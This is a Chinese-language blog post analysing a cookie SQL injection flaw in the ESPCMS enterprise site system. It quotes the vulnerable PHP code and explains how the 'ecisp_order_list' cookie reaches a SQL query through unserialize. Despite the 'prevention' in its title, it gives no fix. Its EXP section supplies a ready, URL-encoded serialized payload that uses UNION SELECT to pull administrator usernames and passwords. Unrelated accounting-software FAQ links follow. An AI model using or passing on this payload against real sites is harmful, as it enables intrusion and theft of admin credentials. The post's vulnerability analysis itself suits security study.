分析及防范ESPCMS最新cookie注入漏洞
2016-1-18 0:0:0 wondial分析及防范ESPCMS最新cookie注入漏洞
分析及防范ESPCMS最新cookie注入漏洞0×00 简介：
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统，它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便，可以帮您迅速、轻松地构建起一个强大专业的企业网站。
0×01 漏洞分析：
function in_list() {parent::start_pagetemplate();lng = (admin_LNG == 'big5') ? this->CON['is_lancode'] : admin_LNG;cartid = this->fun->accept('ecisp_order_list', 'C');//接收cookies[‘ecisp_order_list’]cartid = stripslashes(htmlspecialchars_decode(cartid));uncartid = !empty(cartid) ? unserialize(cartid) : 0;//cartid有特殊的格式要求if (uncartid && is_array(uncartid)) {didarray = this->fun->key_array_name(uncartid, 'did', 'amount');didlist = this->fun->format_array_text(array_keys(didarray), ',');if (!empty(didlist)) {db_table = db_prefix . 'document';db_where = "isclass=1 AND isorder=1 AND did in(didlist) ORDER BY did DESC";sql="SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM db_table WHERE db_where";//动态构造sql语句rs = this->db->query(sql);//直接带入查询 直接获取cookies[‘ecisp_order_list’]的值，没有经过过滤，直接被用来构造了sql语句，并带入了查询。所以此处形成了一个cookie注入。
0×02 难点：
接收到的cookies[‘ecisp_order_list’]在整个传递过程中，经过了htmlspecialchars_decode()、stripslashes()、unserialize()、key_array_name()、array_keys()、format_array_text()几个函数。
其中stripslashes()使得注入语句可以无视GPC的影响。
但是，由于unserialize()的使用，使得构造exp的难度加大；因为传入unserialize()的值，必须使用一种规定的特殊格式（实施上，我也没有完全吃透这个特殊格式）
我就依靠运气，和一点小技巧，成功地构造出了exp，这里就不细说了。大家可以通过打印几个函数的返回值，来找到构造的方法。（或者，也可以通过下面的exp，来找寻一些规律）
0×03 EXP：
a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3bs%3a159%3a%2224)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1%22%3bs%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d
0×04 利用方法：
其实大家都懂的，为了防止exp使用门槛过低（其实已经很低了），就不再一一展示利用过程了。
0×05 效果演示：
注入获取管理员信息：
官方后台：
如果您的问题还没有解决，可以到 T+搜索>>上找一下答案
相关阅读
- 明细账权限设置时提示“没有操作员”？2019-4-29 8:0:0
- 用友T3用友通系统重装后，没有账套备份，如何恢复账套2019-4-29 8:0:0
- 用友T3-用友通入库调整单调整分录如何设置2019-4-23 8:0:0
- 用友T3-用友通入库调整单对入库单进行调整之后保存，如何将入库单改为未调之前的单价？2019-4-23 8:0:0
- 用友T3-用友通供应商在发票和制单时不一致2019-4-23 8:0:0
- 用友T3-用友通供应商余额表查询数据不完整2019-4-23 8:0:0
- 用友T3-用友通使用项目核算科目生成凭证时报错2019-4-23 8:0:0
- 用友T3-用友通会计科目可否成批复制？2019-4-23 8:0:0
- 用友T3-用友通会计科目2019-4-23 8:0:0
- 用友T3-用友通什么是原始卡片如何录入？2019-4-23 8:0:0
最新信息
t+核算方式错选成“按存货”，而不是按“仓库+存货”现在同一存货不同仓库需要两种价格，如何变通处理？ t+核算方式错选成“按存货”，而不是按“仓库+存货”现在同一存货不同仓库需要两种价格，如何变通处理？[]
重新建账存货使用过核算方式不能修改。
多次签订劳动合同怎么计算工龄 多次签订劳动合同怎么计算工龄与用工单位签订的固定期限劳动合同到期之后，再一次签订固定期限劳动合同，怎么计算工龄
